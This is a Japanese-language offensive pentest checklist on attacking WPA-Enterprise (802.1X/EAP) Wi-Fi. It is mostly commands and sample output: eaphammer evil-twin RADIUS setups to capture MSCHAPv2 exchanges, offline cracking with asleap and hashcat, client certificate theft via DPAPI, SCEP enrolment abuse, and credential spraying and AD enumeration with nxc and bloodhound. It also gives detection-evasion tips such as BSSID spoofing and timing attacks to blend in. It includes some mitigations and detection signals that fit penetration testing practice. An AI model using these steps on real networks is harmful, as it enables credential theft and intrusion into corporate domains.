offensive-wpa-enterprise

WPA-Enterprise（802.1X / EAP）攻撃

エンタープライズ Wi-Fi では、認証を RADIUS サーバー（通常は AD と連携）に委ねます。PSK は存在しません。代わりに、サーバー証明書に対するサプリカントの信頼、内部 EAP メソッドの暗号、または証明書発行経路を攻撃します。

クイックワークフロー

1. ビーコンと最初の EAP-Request/Identity から EAP メソッドを特定します
2. MSCHAPv2 ベース（PEAP、TTLS）の場合：不正な RADIUS を立ててチャレンジレスポンスを取得します
3. EAP-TLS の場合：証明書発行／証明書保存経路を（帯域外で）狙います
4. 取得した MSCHAPv2 をオフラインで解読し、AD のユーザー名とパスワードを取得します
5. ドメイン内へピボットします（offensive-active-directory と offensive-network を参照）

---

EAP メソッドの特定

# Watch 802.1X exchange in monitor mode
sudo tshark -i wlan0mon -Y "eapol || eap" -V

# Or capture and analyze
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
# When client associates, read the EAP-Request/Identity and Type fields
wireshark eap_capture-01.cap

EAP タイプ	識別子	一般的な内部メソッド
13	EAP-TLS	クライアント証明書 + サーバー証明書
17	LEAP	（レガシー、脆弱）
21	EAP-TTLS	MSCHAPv2 / PAP / CHAP / GTC
25	PEAP	MSCHAPv2（PEAPv0/MS）/ GTC（PEAPv0/Cisco）
43	EAP-FAST	MSCHAPv2（PAC で保護）
47	EAP-PWD	（Dragonblood クラスの調査対象）

Evil-Twin RADIUS（PEAP-MSCHAPv2 / TTLS-MSCHAPv2）

企業 Wi-Fi に対する最も一般的な攻撃経路です。

# eaphammer — automated rogue AP + RADIUS
eaphammer --cert-wizard                          # generate self-signed cert (first run)
eaphammer -i wlan0 \
  --essid CorpWiFi \
  --bssid AA:BB:CC:DD:EE:FF \
  --auth wpa-eap \
  --creds

クライアントが接続すると、eaphammer は次のようにログを記録します。

[*] User: corp.local\jdoe
[*] Challenge: 1122334455667788
[*] Response: aabbccdd...

オフラインで解読します。

# asleap — designed for MSCHAPv2 challenge/response
asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt

# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

取得したレスポンスは NetNTLMv1 と同等です。レインボーテーブルサービス（crack.sh）に渡せば、適度なコストで確実に解読できます。

Evil-Twin が機能する理由

MSCHAPv2 の内部通信は、サプリカントと（本物または偽の）RADIUS サーバー間の TLS トンネル内で暗号化されます。サプリカントが次の項目を検証しない場合：

• RADIUS サーバー証明書の CA チェーン（多くの BYOD 設定で未検証）
• RADIUS サーバー証明書の CN / SAN（CA 検証が有効でも、検証されないことがよくあります）

自己署名証明書が受け入れられ、攻撃者との間にトンネルが確立され、その内部で MSCHAPv2 が実行されます。

防御側が実施すべき緩和策：

• サーバー証明書の検証を必須にする GPO を適用します
• 信頼する CA と RADIUS サーバーの CN を明示的にピン留めします
• BYOD では、サプリカント設定を固定する SCEP/Intune 経由で登録します

サプリカントの検証を回避する方法

Windows

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...

導入済みのワイヤレスプロファイル XML を確認します。重要なフィールドは次のとおりです。

<ServerValidation>
  <DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
  <ServerNames>radius.corp.local</ServerNames>
  <TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>

ServerNames がない場合やワイルドカードが指定されている場合、evil-twin は成功します。

iOS / macOS / Android（BYOD）

手動入力の場合、ユーザーは初回に証明書のプロンプトで通常「信頼」をクリックします。これには evil twin の証明書も含まれます。その後、サプリカントはハッシュによって攻撃者の証明書を信頼します。多くの BYOD ネットワークは、信頼アンカーを管理せずにこの承認に依存しています。

EAP-TLS の標的

EAP-TLS ではパスワードの代わりにクライアント証明書を使うため、通信から解読できるものはありません。攻撃ベクトルは次のとおりです。

ユーザープロファイルからの証明書窃取

• Windows の DPAPI マスターキーと証明書 blob
  • %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
  • DPAPI マスターキーで復号します（ユーザーのログオンコンテキストまたはマスターキーが必要です）
• macOS Keychain（ログインキーチェーン）— ローカルユーザーアクセス
• Android KeyStore — root + Frida フック（offensive-mobile を参照）
• iOS — 適切なアクセスグループのエンタイトルメントを持つ Keychain 項目

NDES / SCEP の設定ミス

ネットワークが証明書のプロビジョニングに SCEP を使用している場合：

# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll

# Enroll with stolen / weak challenge password
sscep enroll -c ca.crt -k client.key -r request.csr \
  -u http://ndes.corp.local/certsrv/mscep/mscep.dll \
  -l client.crt -E 3des -S sha1

許容的な ACL による AD CS 自動登録

Enroll 権限を持つドメインユーザーは、クライアント認証テンプレートで独自の証明書を発行できます。ESC1 クラスの攻撃については offensive-active-directory を参照してください。

EAP-GTC

GTC が提供される場合（まれですが、Cisco 環境ではよくあります）、内部通信は平文です。evil-twin が成功すると、オフライン解読を必要とせず、パスワードを直接取得できます。eaphammer は MSCHAPv2 と同じ方法で GTC を取得します。

解読後のピボット

MSCHAPv2 を解読すると、corp.local\jdoe : Password123! が得られます。そこから：

# Validate against AD
nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local

# Spray against other systems
nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local

# Initial AD enum
bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All

AD 攻撃チェーン（offensive-active-directory、offensive-network）に引き継ぎます。

検知に関する考慮事項

シグナル	防御側の見解
不正な RADIUS サーバーの ESSID	WIPS ルール：ESSID/BSSID の差分による AP のなりすまし
MSCHAPv2 認証の失敗が繰り返される	RADIUS ログ：1 つのサプリカントからの認証失敗が増加
証明書の不一致による失敗	最新の Windows エンドポイントではイベント ビューアーに記録されます（Wi-Fi 11005）
ユーザーからの苦情	ユーザーが「見慣れない Wi-Fi のプロンプト」について報告する場合がありますが、ほとんどの場合、報告されません

リスクを最小限に抑えるには、正規の AP の BSSID と完全に一致させ（MAC アドレスを偽装）、可能であれば実際の RADIUS CN に似せた CA 署名付き証明書を使用し、既知の通信障害が発生しやすい時間帯（昼休み／始業時）に攻撃を実施して、再接続に紛れ込ませます。

エンゲージメント用チートシート

# 1. Identify EAP method
sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"

# 2. Run eaphammer evil twin
eaphammer --cert-wizard
eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds

# 3. As clients connect, capture MSCHAPv2 challenges
# Watch eaphammer console for User/Challenge/Response

# 4. Crack offline
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
# Or asleap -C <chal> -R <resp> -W wordlist

# 5. Validate creds against domain
nxc smb <dc> -u <user> -p <pass> -d <domain>

# 6. Hand off to AD chain

---

主な参考資料

• eaphammer: github.com/s0lst1c3/eaphammer
• asleap: willhackforsushi.com/asleap
• crack.sh — NetNTLMv1（MSCHAPv2）レインボーサービス
• RFC 3748（EAP）、RFC 5216（EAP-TLS）、RFC 7170（EAP-TEAP）
• 出典: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md